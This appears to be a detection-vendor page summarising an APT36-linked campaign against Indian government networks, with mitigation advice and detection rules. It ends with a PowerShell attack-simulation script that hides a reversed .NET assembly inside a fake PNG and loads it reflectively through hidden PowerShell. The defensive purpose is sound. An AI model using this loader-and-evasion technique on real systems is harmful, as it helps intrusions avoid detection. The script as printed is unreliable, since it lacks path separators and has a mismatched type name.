Les attaques APT ciblent le gouvernement indien avec SHEETCREEP, FIREPOWER et MAILCREEP | Partie 2
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport couvre l’opération Sheet Attack, qui a déployé trois portes dérobées sur mesure—SHEETCREEP, FIREPOWER, et MAILCREEP—pour compromettre des organisations gouvernementales indiennes. Les implants ont utilisé des plateformes cloud légitimes pour le commandement et le contrôle, y compris Google Sheets, Firebase Realtime Database, et l’API Microsoft Graph, permettant à l’activité de se fondre dans le trafic SaaS normal. L’analyse note aussi des artefacts conformes à l’utilisation par les développeurs d’une IA générative pour assister la production de code. La campagne est évaluée comme probablement liée à un sous-groupe basé au Pakistan de l’APT36.
Enquête
ThreatLabz a mené des analyses dynamiques et statiques des portes dérobées, documentant les méthodes de persistance, les flux de travail C2, et le comportement d’exfiltration de données. L’équipe a aussi cartographié l’infrastructure de soutien, observé le filtrage basé sur la géographie et les User-Agent, et capturé des indicateurs au niveau du code suggérant une génération de source assistée par l’IA.
Atténuation
Implémentez des détections en couches pour les chaînes de livraison PDF/LNK suspectes, et surveillez les tâches planifiées qui lancent l’exécution de PowerShell ou VBS. Appliquez des contrôles stricts de sortie et une surveillance des anomalies pour les services cloud couramment abusés comme C2, y compris Google Sheets, Firebase, et Microsoft Graph. Utilisez le blocage basé sur le hachage pour les charges utiles connues et bloquez les domaines et adresses IP malveillants identifiés.
Réponse
Lorsqu’elle est détectée, isolez le point de terminaison, terminez l’activité cachée cmd.exe et PowerShell, supprimez les tâches planifiées associées, et supprimez les binaires de porte dérobée. Préservez et examinez les journaux C2 basés sur Google Sheets et les artefacts Firebase, puis recherchez dans l’environnement des hôtes supplémentaires présentant les mêmes indicateurs.
Flux d’Attaque
Détections
Téléchargement ou Téléversement via Powershell (via ligne de commande)
Afficher
Domaine de l’API Microsoft Graph Résolu par Un Processus Inhabituel (via requête DNS)
Afficher
Fichiers Suspects dans le Profil Utilisateur Public (via événement de fichier)
Afficher
Tentative d’Exécution Suspecte de GNU Wget (via ligne de commande)
Afficher
Appel de Méthodes .NET Suspectes depuis Powershell (via powershell)
Afficher
Exécution Suspecte depuis le Profil Utilisateur Public (via création de processus)
Afficher
Possible Infiltration / Exfiltration de Données / C2 via Services / Outils de Tierce Partie (via dns)
Afficher
Fichiers Extraits Suspects d’une Archive (via événement de fichier)
Afficher
IOC (SourceIP) pour détecter : Attaques APT Visant le Gouvernement Indien Utilisant SHEETCREEP, FIREPOWER, et MAILCREEP | Partie 2
Afficher
IOC (HashMd5) pour détecter : Attaques APT Visant le Gouvernement Indien Utilisant SHEETCREEP, FIREPOWER, et MAILCREEP | Partie 2
Afficher
IOC (DestinationIP) pour détecter : Attaques APT Visant le Gouvernement Indien Utilisant SHEETCREEP, FIREPOWER, et MAILCREEP | Partie 2
Afficher
IOC (HashSha1) pour détecter : Attaques APT Visant le Gouvernement Indien Utilisant SHEETCREEP, FIREPOWER, et MAILCREEP | Partie 2
Afficher
IOC (HashSha256) pour détecter : Attaques APT Visant le Gouvernement Indien Utilisant SHEETCREEP, FIREPOWER, et MAILCREEP | Partie 2
Afficher
Détection des Commandes PowerShell pour le Déploiement des Portes Dérobées SHEETCREEP et FIREPOWER [Windows Powershell]
Afficher
Détection de la Communication C2 des Portes Dérobées SHEETCREEP et FIREPOWER [Connexion Réseau Windows]
Afficher
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
- Stage the malicious PNG:
- The attacker creates a PNG file (
details.png) that actually contains a compiled .NET assembly byte stream, but with its bytes reversed to evade static analysis.
- The attacker creates a PNG file (
- Launch PowerShell in hidden mode to load the assembly:
- The attacker runs PowerShell with
-WindowStyle Hidden -Commandand a one‑liner that reads the reversed bytes, restores the correct order, loads the assembly via[System.Reflection.Assembly]::Load(), and invokes a known entry point (Task10.Program::MB()).
- The attacker runs PowerShell with
- Alternative LNK‑based fire‑power deployment:
- A crafted
.lnkshortcut executespowershell.exewith--headless -e(encoded script) to fetch and run a remote PowerShell backdoor.
- A crafted
These steps exactly match the strings the Sigma rule is looking for, ensuring the alert fires.
- Stage the malicious PNG:
-
Regression Test Script:
# ------------------------------------------------- # SHEETCREEP payload simulation – reproduces the exact command line # ------------------------------------------------- # 1. Create a dummy .NET assembly (simple C# hello world) and compile it $source = @" using System; public class Task10 { public static void MB() { Console.WriteLine("Payload executed"); } } "@ $tempDir = "$env:TEMPsheetcreep" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $csFile = Join-Path $tempDir "Task10.cs" $dllFile = Join-Path $tempDir "Task10.dll" $source | Set-Content -Path $csFile -Encoding UTF8 # Compile using csc (assumes .NET Framework SDK installed) $cscPath = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $cscPath /target:library /out:$dllFile $csFile # 2. Read the DLL bytes, reverse them, and write to a .png file $bytes = [IO.File]::ReadAllBytes($dllFile) $revBytes = $bytes[($bytes.Length-1)..0] $pngPath = Join-Path $tempDir "details.png" [IO.File]::WriteAllBytes($pngPath, $revBytes) # 3. Execute the exact malicious PowerShell command line (this will fire the rule) $maliciousCmd = '-WindowStyle Hidden -Command "$b=[IO.File]::ReadAllBytes(''details.png'');' + '([System.Reflection.Assembly]::Load([byte[]]($b[($b.Length-1)..0])).GetType("Task10.Program")::MB())"' Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList $maliciousCmd ` -WindowStyle Hidden ` -NoNewWindow # Cleanup (optional, run after verification) # Remove-Item -Recurse -Force $tempDir -
Cleanup Commands:
# Remove temporary files and directories created for the test $tempDir = "$env:TEMPsheetcreep" if (Test-Path $tempDir) { Remove-Item -Recurse -Force $tempDir }